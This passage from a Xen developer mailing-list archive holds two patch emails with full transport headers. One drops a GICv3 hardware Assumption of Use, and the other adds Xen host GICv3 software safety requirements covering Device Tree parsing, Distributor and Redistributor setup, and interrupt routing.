	ljLrVl+Y3cZISnv8vlKu0sNjht/CRA9vMJDDTfS9B+crYpCtbT2WHmsztUD7H/vplt7WcDFuDC6a6hub2+uNuE0KPQ7BsIUXDe2V73qyvD0DVXJrzvBBpTW944mruexFI2OZap6QOP4jWcqWr/5QB7AyvKebnzIZ+hnn9Fr4Cxpn1e566TThjL0AI5zkCpH14ps7d0ojQ7N76ygoLtR/uIdXsfBHubpbP0sra6WnVpe67LR8Fu1fjF/eOACNt8EZXek8sQNSy/gMcdZ2jzgbFfq9k6pdKcuowrSMXv51G6KJr9ZKmoee9fw+SmcwhlD72DS3kbVkGnkugXvjgaDGX+0SrE54qWf/bHnMZKF7qAL/yL4Fved8k0jgr9+aGUiTjWn73GsM55Vrw+iY+tLXePvZRAnZ6Bx/tE+++5jC0CYZo5VR5E+kJcAUJ+fqKskzsWwz7QuXLrrVfjpXY8N+WWeACLICYXmcxUjsTiSoTIOWDrvYk5n6zUiTJ+jJUdwDaVPzDqTAJVTa9zknBI4vRL4jWI0wTudm3CshO/8ecLd9ghYo2MRG6sc24tXsq9JoU5rJ7BpiWOkHuCOFS4Crruy73DuIKAHhJTVKqXPet3GzZM9NqlExMjhE2PxD7fFz+JVzDc2T/aGNZ7itCPpd1fnLdWClxEpEVZvTlHL8S4w=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(18002099003)(22082099003)(10067099003)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?oKFXBw4RvmL93JhhVbpaK7TWotOBb6FeAtGWKah8xbyYItFTGBx3/mM6BurO?=
 =?us-ascii?Q?m5EpOVuF1IhaEA+7Nlp+52C9p1CQsPsd3jZaExLgDlGb1cRHw3qlMjKW2tL6?=
 =?us-ascii?Q?Ht1C3YVUlzfh5KsPA99vQ3Q0DfytGwObdqiACOBtOE7qYHNp/h0ll8RGDNc4?=
 =?us-ascii?Q?MlRZsFl2eUh/HY/YA0Bf0Dg/WBhuFtjfuIg3O8q8fCNTwW9bJDx9wE5sRv0j?=
 =?us-ascii?Q?jT4sH4b2DQEoJGdqaynCwYNKH+SLX8n1aKBaGdaP4r5zI5tUU6D4GbFWDW/n?=
 =?us-ascii?Q?HOB1U+wfLs0d+vapzPs/YXG28aX24cU5WFi5/2MuWZ+oEMhKrEnXs3FYtZHf?=
 =?us-ascii?Q?NjvOKZO1EO+6iwXxgvrSvTM1g2/IHDy1iAlpjZzUUYQ6XI9SMJdSqab5wbb5?=
 =?us-ascii?Q?JJFalxse39OAuqyOLLU6Tb7yrl8g/AfjK25BgdUtRMXFkH4YVJL7xuEhm6GD?=
 =?us-ascii?Q?QCIZ7AOKzVf+KNDiu3Nlx6p7k+pR+vxkDwwfgMZKEaxVe5Wp2lzj5+6hiefD?=
 =?us-ascii?Q?c2563JF9O/bXETJfcGX6sRMjvIXN/t/XWKvZWRtx9bmHIrNlw0tMIcRoDG3O?=
 =?us-ascii?Q?uZMAPqtQ42SM0QDf4jpl434RTs4I8tuvpoEER0m+5Vm3PuXDr4u2X5eJG65J?=
 =?us-ascii?Q?y89HmoaRhZroTMUVtXpQfIJM2gbJ3R/4Od0NLT5aKAJPGhWrPhR4nI0Om81u?=
 =?us-ascii?Q?6/cehhAKD5z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RoUwF0bOHpT74gE69Pu4vnz5dsdv1s8bHGn?=
 =?us-ascii?Q?c2/GVWVF9GulyLSSrBptwDJbXhh2xgQVTaY0wgSHnR13koIHB3WkVULcygPR?=
 =?us-ascii?Q?1Lb9j/veLq7WAj4g5M+ATjivvGy7/iWlnLpNclSCV7MicvxwQAZ7PF/bG/Ap?=
 =?us-ascii?Q?eDLtZfRdAQ=3D=3D?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: cead1757-b6e5-4a05-dbfe-08dee3d2b39b
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jul 2026 07:12:03.0269
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: +50zw0AcgzzdTUXo6LymYa1xBqnpqDw3uJVY5D3Jt8OeFBqNBRJnntRRWaVVwCvzi/NERU4o1R01YEyAkvWqMw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR03MB7985
X-purgate-ID: tlsNG-d25034/1784272324-030D9A5B-1B3E1569/0/0
X-purgate-type: clean
X-purgate-size: 1502

reqs: drop duplicate GIC version AoU

Drop the AoU requiring GICv3 hardware.

The certification scope also includes GICv4.1, while the supported
physical GIC version is already specified by the corresponding PRQ.

Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
---
Changes in v2:
- drop AoU instead of moving.
---
 .../arm64/gicv3.rst                                 | 13 -------------
 1 file changed, 13 deletions(-)

diff --git a/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/gicv3.rst b/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/gicv3.rst
index e16576f..2c146f0 100644
--- a/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/gicv3.rst
+++ b/software_safety_reqs/domain_creation_and_runtime/domain_partially_emulated_resources/arm64/gicv3.rst
@@ -7,19 +7,6 @@ The following are the requirements related to ARM Generic Interrupt
 Controller, version 3 [1] interface (hereafter, GICv3) exposed by Xen
 to Arm64 domains.
 
-Assumption of Use on the Physical Platform
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-GICv3 shall be present in the hardware
---------------------------------------
-
-`XenAoU~arm64_platform_gicv3_presence~1`
-
-Description:
-The physical platform shall have the ARM Generic Interrupt Controller, version 3.
-
-Rationale:
-
 Assumption of Use on a VM
 ^^^^^^^^^^^^^^^^^^^^^^^^^
 
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 17 07:12:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 07:12:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364688.1615712 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcju-0005o7-4Z; Fri, 17 Jul 2026 07:12:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364688.1615712; Fri, 17 Jul 2026 07:12:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcju-0005o0-0E; Fri, 17 Jul 2026 07:12:06 +0000
Received: by outflank-mailman (input) for mailman id 1364688;
 Fri, 17 Jul 2026 07:12:04 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Mykola_Kvach@epam.com>) id 1wkcjs-0005Zx-AS
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 07:12:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkcjr-008Yk2-G0
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 09:12:03 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5b9-5cb7-0a2a0a5109dd-0a2a4504e1ca-18
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:12:03 +0200
Received: from [52.101.70.117]
 (helo=AS8PR04CU009.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Mykola_Kvach@epam.com>)
 id 6a59d5c3-b57f-0a2a45040019-3465467548ab-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:12:03 +0200
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com (2603:10a6:20b:61d::18)
 by AS8PR03MB7985.eurprd03.prod.outlook.com (2603:10a6:20b:428::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Fri, 17 Jul
 2026 07:12:02 +0000
Received: from AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7]) by AS8PR03MB9746.eurprd03.prod.outlook.com
 ([fe80::cf11:309:1384:58f7%6]) with mapi id 15.21.0223.011; Fri, 17 Jul 2026
 07:12:02 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=TAQeiyYBkM3CBxaGqfx+WW3VYcOR+i1CqhCyA411/jIlCK0B5OO1fb06nWinesKclgV4yoVDORRmkqgjpRdIFiPm1Fed+hmur8qvnctVMu0OO0An9NKFYbc5txyvfSvDM9SUoK1+9v2wtPYXjJLsHPEh/ZyURIkFSGHVTsFzwot6E3Kgr3vjtH8FXPwc4lskwyDySvRpQ3Mp8pwpu2Wr2JrNycPpCHPlVcGvNlptlQm9IVHTlu9K90WTNREqrEHoaRfHVuWy7OJrRZNBa9WTlhz/wmW+jHBggSWQtKFGzqhBm6SC+iwEAvMIRFYmpRHLelAsThhfa20OEmhzr28QAA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=SsnvCitpeI3GbiUP5GVRR+L9xj+M72SQ8QpfsJVVk30=;
 b=Th+e8rvw7fHJKqTop1XIcNDGk6D3lJCS30iN9gJmfvVRol3wnhMbjbIVgb3gSArYk7RsluPPj3zFhC2sk2bUdSdY66IOvN/ksTmKLZXAUMX/rhU1HSBBJ9rx80BBqk6AnMz/4u5xf1ESiip+ObfVLt6WwSM2GrQKWKSD9ZjpRWBrwd3lxKM7ekNAY4oGPvcGeSvq76EJEi+uDKHILSD30PDmPllr6HfXqQ2FbnrXpWQo1SRMmdfOlvD0WPqY1PuHd9k+y0B3D5bI1Naa87oL2xTL1bfDVS/g/kkYwO2PyS9NtzsndNS9y06iTwSqvkY6avngUjg5dDFPdSDemPjtYQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=SsnvCitpeI3GbiUP5GVRR+L9xj+M72SQ8QpfsJVVk30=;
 b=gBDdom/oIxSR7vUj9i21u7Ey0vrWEQyk9GATF1mrKwLnCxKiGUv1MzGIU/HCsCL0BDKM8HgVg7+1LBQ3ZR770dAI6UgrPuELWPfLV7E2OYyWSI5TMHtLiuWIPtIpoYMMb1gXFwHahsudmh4JbMAvtY5JcBllW0TNpa0aguL8yEi0jEDSQ7LbHGmZXgfqApvS36uJ52v+G4oZq9XMzM39TmcaDgRkvIpIe/FB7ttcUo07HTX7R4v+pD02K9YEjTlA+fxkvb1Yn7VCdS1yd1W+TzpCKWnZDCCNxQPbVVPraRg/Cu+5GyuPvCa9k9OM3AlFSw4P01wfF2xVAlQQzJbcrA==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
From: Mykola Kvach <mykola_kvach@epam.com>
To: xen-devel@lists.xenproject.org
Subject: [REQUIREMENTS][PATCH v2 2/6] reqs: add host GICv3 requirements
Date: Fri, 17 Jul 2026 10:11:23 +0300
Message-ID: <f5f0f7ed62715dba2c70eb651aedb5b368cdc208.1784272211.git.mykola_kvach@epam.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <cover.1784272211.git.mykola_kvach@epam.com>
References: <cover.1784272211.git.mykola_kvach@epam.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: WA0P291CA0022.POLP291.PROD.OUTLOOK.COM
 (2603:10a6:1d0:1::22) To AS8PR03MB9746.eurprd03.prod.outlook.com
 (2603:10a6:20b:61d::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: AS8PR03MB9746:EE_|AS8PR03MB7985:EE_
X-MS-Office365-Filtering-Correlation-Id: 67d73b72-f855-47d4-37ea-08dee3d2b2f1
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|18002099003|22082099003|10067099003|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	eOyRAVX3NH+bW1VVbAtfuOlO9SLe+LOHGurvtntJYHekDfgo09UTClqaHh6Fmn8AWFkY24ZPJKMs3GMnDaGKb+LVVL8MjdLlQFuyx/BC8+oWLhIhkNWbYsAt2Fl+Dsj/4x3fCC8glXBS88bLF6yEFxXSYliUIj1hlj3CR8JIcDhmE6Xi2PA8HrKnWNCblD1S52ZdtMeew4MlSNqEPjHF9WlFpzwFvwCXD+ZG45YJY6IP/SRvIbRu9np+7MmZgceCvol7N072jXL/f9rD9lnRcCuVHOIDUWecIQeetjBV72/aYqkDVIPlzXXbipPm35xAwGTKiFD1eUwzQnFTaOn6K+lJEeDj9ccIM9VhIHwQoO+1fvtfLU9EBF5RtCOIYFpHI/VQFOtzPe9GBMnSxvVb2BXahQNNA/fmoquELSqF8tcTRuSt/frbE/WQ9Kg4HaUxPeYGpyF5PRGT/I4mdY9/mJy0rT8L2jvTy39rZV4ky1Xeh/HGonrHw6+1u8zfv7cafkUj8Fwxqh/jk3+0F3m2MbJtGtkR5A6QVATKNDGpRoA72ooy3f7/FFOkztWsUOSoQGIpTpBx8uq4dbDz9NdndXpqYAuxKUbl5Ygk7z4H5GKn7vjxgIZPosYZTsYW70nE63WHA1cIgzBPLB6GdP6UW47i4OP5STnGUabzI2lJhWA=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(18002099003)(22082099003)(10067099003)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?HdMQEP+lPieDkQC+7QrBKRjw6LneRYOu0hMoz4c2a29WJQ4Ey+wV5Q+Qe2at?=
 =?us-ascii?Q?bLty+RB3WQADeYyGDVllCdU/MBMkLHZA1BI+GKJf/xPEll4C2oyPAAgqLYaK?=
 =?us-ascii?Q?E1H2tct0ms0l8vGxnwebxNsbBobu8rEF5s3iU9cK10XfzS01ndLFhjKTwKph?=
 =?us-ascii?Q?D41W6T3tEz/ONOGNK5yq6FYtn/n04WOZrpMdFUyT5Rk8jPXr1//hPHOkqVc0?=
 =?us-ascii?Q?fOAynmLGH3CcKEOWktJ/pmlWYqxoH43xN54AIbA5qlVKMXYDvzCyVlnWHA39?=
 =?us-ascii?Q?9X+itaAe7nyDrtOeiaw2OwKPcPBqEoItMlOjk4+vavhrUHZ5fUOxR7dU8f29?=
 =?us-ascii?Q?5lZyGocXf8qf1cOfAp6AOXUDl7Yyw5UV61G94Ca2POkqUhkTK9GWPnu71+KK?=
 =?us-ascii?Q?IjDVFG8i7QFWtpLqHV5CL5Wikbt+4VrxFPW1gWmqjnYv/uiJ83syTRvnTv1t?=
 =?us-ascii?Q?W+z820cS6y+QRtqy/my/6H9lQoTgy4dKOQE1j4gH8nkQYyxjByx1TRWiZ7fJ?=
 =?us-ascii?Q?OxolJyyPRxjgGorG8xIiV3aUBcHEuOxqHa4XPfBNIdrA5qJTLG7HTY5UTTt+?=
 =?us-ascii?Q?fvSX+x0Aw3JyHow1eP9mO7ziZkDSkLUrYE4aznmejt4Pz6jIxKUoWhb+Ass3?=
 =?us-ascii?Q?SXkYY1JF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ZtBKkX9KR8fBDUDhKwH8ghuYZ78ylOmkR5QEgF?=
 =?us-ascii?Q?exDjd/6LCt9c4T3r3g63+WyLGYAMFhpiRAdQh7qHO+DEsH2XZOw27umpgy4d?=
 =?us-ascii?Q?OeVtd1ah+jk8UV/sIcvyvMCun2FzrGbfYBP8KXwuc9fqagARSGNBMNfFTRX5?=
 =?us-ascii?Q?pmOR+XlTuxD4BfGuI0GaeFBroZ0ojceqyZGmmicou2WnZTcoSreWG28omFr1?=
 =?us-ascii?Q?1WxzP0mpSw=3D=3D?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 67d73b72-f855-47d4-37ea-08dee3d2b2f1
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 17 Jul 2026 07:12:01.9861
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: H4CdNpaMWFnD9/m5wW02mF/LRD8t8odTrlMV8nmeIW8ht5ZSXH6fONCfL2KHpkku/2EDXC0dS11nCMvbG3KeVQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR03MB7985
X-purgate-ID: tlsNG-ebf023/1784272323-534C3B50-63ACFD31/0/0
X-purgate-type: clean
X-purgate-size: 18369

Add software requirements for the Device Tree-based host GICv3 path.

The requirements cover GICv3-specific host behavior: Device Tree operation
registration and description parsing, GICD/GICR architecture identification,
supported SPI and extended SPI INTID handling, Distributor and Redistributor
initialization, Redistributor enumeration and CPU association, CPU interface
initialization, SPI and extended SPI routing, Group 1 interrupt acknowledge
and completion, SGI delivery, and secondary pCPU interrupt readiness.

Guest/vGIC state, ITS/LPI handling, host GICv4 behavior, and common
interrupt-management behavior are covered by separate requirement groups.
ACPI discovery is out of scope for this document.

Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
---
Changes in v2:
- avoid passive voice in titles.
---
 .../physical_resources/arm64/gicv3.rst        | 564 ++++++++++++++++++
 .../physical_resources/arm64/index.rst        |   1 +
 2 files changed, 565 insertions(+)
 create mode 100644 software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/gicv3.rst

diff --git a/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/gicv3.rst b/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/gicv3.rst
new file mode 100644
index 0000000..6a43165
--- /dev/null
+++ b/software_safety_reqs/domain_creation_and_runtime/physical_resources/arm64/gicv3.rst
@@ -0,0 +1,564 @@
+.. SPDX-License-Identifier: CC-BY-4.0
+
+Host GICv3 requirements
+=======================
+
+The following requirements are related to Xen's host-side support for the
+Arm Generic Interrupt Controller version 3 (GICv3) architecture [1].
+
+These requirements cover Xen's management of the physical GICv3 interfaces,
+including Distributor, Redistributor, CPU interface.
+
+Software Safety Requirements
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+Host GICv3 Device Tree operation registration
+---------------------------------------------
+
+`XenSSR~arm64_register_gicv3_ops~1`
+
+Description:
+Xen shall register the host GICv3 interrupt-controller operations for Device
+Tree nodes that identify a GICv3 interrupt controller.
+
+Rationale:
+Xen uses the registered GICv3 operations to initialize and operate the host
+physical interrupt controller when the platform firmware describes a GICv3
+interrupt controller through Device Tree.
+
+Covers:
+ - `XenPRQ~boot~1`
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host GICv3 Device Tree description
+----------------------------------
+
+`XenSSR~arm64_gicv3_dt_description~1`
+
+Description:
+Xen shall collect the GICv3 Distributor base and Redistributor region
+description from the Device Tree before host GICv3 initialization.
+
+The relevant Device Tree state includes:
+
+ - Distributor base address
+ - Redistributor region base addresses
+ - Redistributor region sizes
+ - ``#redistributor-regions``
+ - ``redistributor-stride``
+
+Rationale:
+Xen uses the Device Tree GICv3 description to locate the Distributor and to walk
+the Redistributor regions used by the host physical interrupt controller.
+
+Covers:
+ - `XenPRQ~boot~1`
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host GICv3 System register support
+----------------------------------
+
+`XenSSR~arm64_gicv3_sysreg_support~1`
+
+Description:
+Xen shall select the host GICv3 driver after confirming GICv3 System register
+support is available on the CPU.
+
+Rationale:
+The host GICv3 driver uses the GICv3 CPU interface System registers for
+physical interrupt handling.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host GICv3 architecture identification
+--------------------------------------
+
+`XenSSR~arm64_gicv3_arch_identification~1`
+
+Description:
+Xen shall identify a host GIC Distributor or Redistributor frame as
+GICv3-compatible only when its ``PIDR2`` architecture field reports GICv3 or
+GICv4.
+
+The relevant registers include:
+
+ - ``GICD_PIDR2``
+ - ``GICR_PIDR2``
+
+Rationale:
+Xen uses ``PIDR2`` to validate that the mapped frame belongs to a GICv3 or
+GICv4-compatible interrupt controller before using that frame as a host GICv3
+interface.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host Distributor security-state preservation
+--------------------------------------------
+
+`XenSSR~arm64_gicv3_dist_are_ns_state_preservation~1`
+
+Description:
+Xen shall preserve the ``GICD_CTLR.ARE_NS`` value when disabling Distributor
+Group 1 physical interrupt delivery during initialization.
+
+Rationale:
+The GIC architecture makes changing ``GICD_CTLR.ARE_NS`` from 1 to 0
+unpredictable. Xen preserves the field when preparing the Distributor for host
+GICv3 initialization.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host supported SPI and extended SPI INTID ranges
+------------------------------------------------
+
+`XenSSR~arm64_gicv3_supported_spi_and_espi_ranges~1`
+
+Description:
+Xen shall initialize and operate only SPI and extended SPI INTIDs implemented
+by the host GICv3 Distributor, as reported by GICD_TYPER.
+
+Rationale:
+Xen derives the supported Distributor-controlled physical interrupt range from
+the Distributor type information and uses that range when initializing and
+operating global interrupt state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host extended SPI support
+-------------------------
+
+`XenSSR~arm64_gicv3_espi_support~1`
+
+Description:
+Xen shall initialize and operate extended SPI INTIDs only when the host GICv3
+Distributor reports extended SPI support in GICD_TYPER. This shall include
+use of the following registers:
+
+ - ``GICD_TYPER``
+ - ``GICD_ICFGR<n>E``
+ - ``GICD_IPRIORITYR<n>E``
+ - ``GICD_ICENABLER<n>E``
+ - ``GICD_ICACTIVER<n>E``
+ - ``GICD_IGROUPR<n>E``
+ - ``GICD_IROUTER<n>E``
+
+Rationale:
+GICv3.1 defines an extended SPI range controlled through extended Distributor
+registers. Xen uses Distributor capability information to determine whether
+extended SPIs are present before initializing their configuration, priority,
+enable, active, group, and routing state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host Distributor Group 1 delivery
+---------------------------------
+
+`XenSSR~arm64_gicv3_dist_group1_delivery~1`
+
+Description:
+Xen shall enable Distributor Group 1 physical interrupt delivery only after
+supported SPI and extended SPI interrupt state has been initialized. The
+initialized state shall include:
+
+ - interrupt group state
+ - interrupt enable state
+ - interrupt active state
+ - interrupt priority state
+ - interrupt configuration state
+ - interrupt routing state
+
+Rationale:
+Xen initializes supported Distributor-controlled interrupt state before
+enabling Distributor forwarding so that physical interrupts are delivered using
+the configured group, enable, active, priority, configuration, and routing
+state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host Redistributor region enumeration
+-------------------------------------
+
+`XenSSR~arm64_gicv3_redist_region_enumeration~1`
+
+Description:
+Xen shall locate Redistributor frames only within discovered GICv3
+Redistributor regions and according to the region layout used for that
+platform. This shall include use of the following Redistributor discovery
+state:
+
+ - Redistributor region base
+ - Redistributor region count
+ - Redistributor stride
+ - ``GICR_TYPER.Last``
+ - ``GICR_TYPER.VLPIS``
+
+Rationale:
+GICv3 Redistributors can be described as one or more regions, and a region can
+contain Redistributor frames separated by the platform stride or by the
+architectural frame layout. A GICv4-compatible Redistributor can include
+additional VLPI and reserved frames after the RD and SGI frames. Xen uses the
+Redistributor region description to walk the available Redistributor frames and
+to stop at the end of the described Redistributor sequence.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host Redistributor CPU association
+----------------------------------
+
+`XenSSR~arm64_gicv3_redist_cpu_association~1`
+
+Description:
+Xen shall associate each CPU with the GICv3 Redistributor that corresponds to
+that CPU before using Redistributor-local interrupt state for that CPU. This
+shall include use of Redistributor affinity information reported by:
+
+ - ``GICR_TYPER``
+
+Rationale:
+Redistributor-local registers control SGI and PPI hardware state for one CPU.
+Xen uses Redistributor affinity information to select the Redistributor
+associated with the CPU before programming local interrupt state.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host Redistributor local interrupt initialization
+-------------------------------------------------
+
+`XenSSR~arm64_gicv3_redist_local_int_init~1`
+
+Description:
+Xen shall initialize Redistributor-local SGI and PPI hardware state before
+enabling local interrupt delivery on a CPU. The initialized state shall include:
+
+ - Redistributor wakeup state
+ - SGI and PPI priority state
+ - SGI and PPI active state
+ - SGI and PPI enable state
+ - SGI and PPI group state
+
+Rationale:
+The common interrupt-management requirements cover per-CPU local IRQ software
+state. The host GICv3 driver initializes the Redistributor-local hardware state
+used for SGI and PPI delivery before local interrupt delivery is enabled on the
+CPU.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host CPU interface initialization
+---------------------------------
+
+`XenSSR~arm64_gicv3_cpu_interface_init~1`
+
+Description:
+Xen shall initialize the GICv3 CPU interface System register interface before
+enabling Group 1 interrupt delivery on a CPU. This shall include use of the
+following CPU interface System registers:
+
+ - ``ICC_SRE_EL2``
+ - ``ICC_BPR1_EL1``
+ - ``ICC_PMR_EL1``
+ - ``ICC_CTLR_EL1``
+
+Rationale:
+Xen uses the GICv3 CPU interface System registers to control access to the
+System register interface, priority masking, priority drop, deactivation, and
+Group 1 interrupt delivery.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host CPU interface Group 1 delivery control
+-------------------------------------------
+
+`XenSSR~arm64_gicv3_cpu_iface_group1_delivery_control~1`
+
+Description:
+Xen shall use ``ICC_IGRPEN1_EL1`` to enable and disable host Group 1 physical
+interrupt delivery through the GICv3 CPU interface according to the per-CPU
+GICv3 lifecycle state.
+
+Rationale:
+The GICv3 CPU interface controls whether Group 1 physical interrupts can be
+signaled to a CPU. Xen enables Group 1 delivery only after per-CPU GICv3
+initialization has completed and disables Group 1 delivery when shutting down
+the per-CPU GICv3 physical CPU interface.
+
+Covers:
+ - `XenPRQ~intc~1`
+ - `XenPRQ-pcpu_off~1`
+ - `XenPRQ~pcpu_on~1`
+ - `XenPRQ~resume~1`
+ - `XenPRQ~suspend~1`
+
+Needs:
+ - XenVerTestCase
+
+Host SPI and extended SPI affinity routing
+------------------------------------------
+
+`XenSSR~arm64_gicv3_spi_and_espi_affinity_routing~1`
+
+Description:
+Xen shall route a physical SPI or extended SPI to a CPU selected from the
+requested CPU mask. This shall include use of the following Distributor routing
+register groups:
+
+ - ``GICD_IROUTER<n>``
+ - ``GICD_IROUTER<n>E``
+
+Rationale:
+The common interrupt-management requirements define the CPU-affinity contract
+for physical interrupts. The host GICv3 driver realizes that contract for SPIs
+and extended SPIs by programming the corresponding GICv3 Distributor routing
+register group.
+
+Covers:
+ - `XenPRQ~intc~1`
+
+Needs:
+ - XenVerTestCase
+
+Host Group 1 interrupt acknowledge
+----------------------------------
+
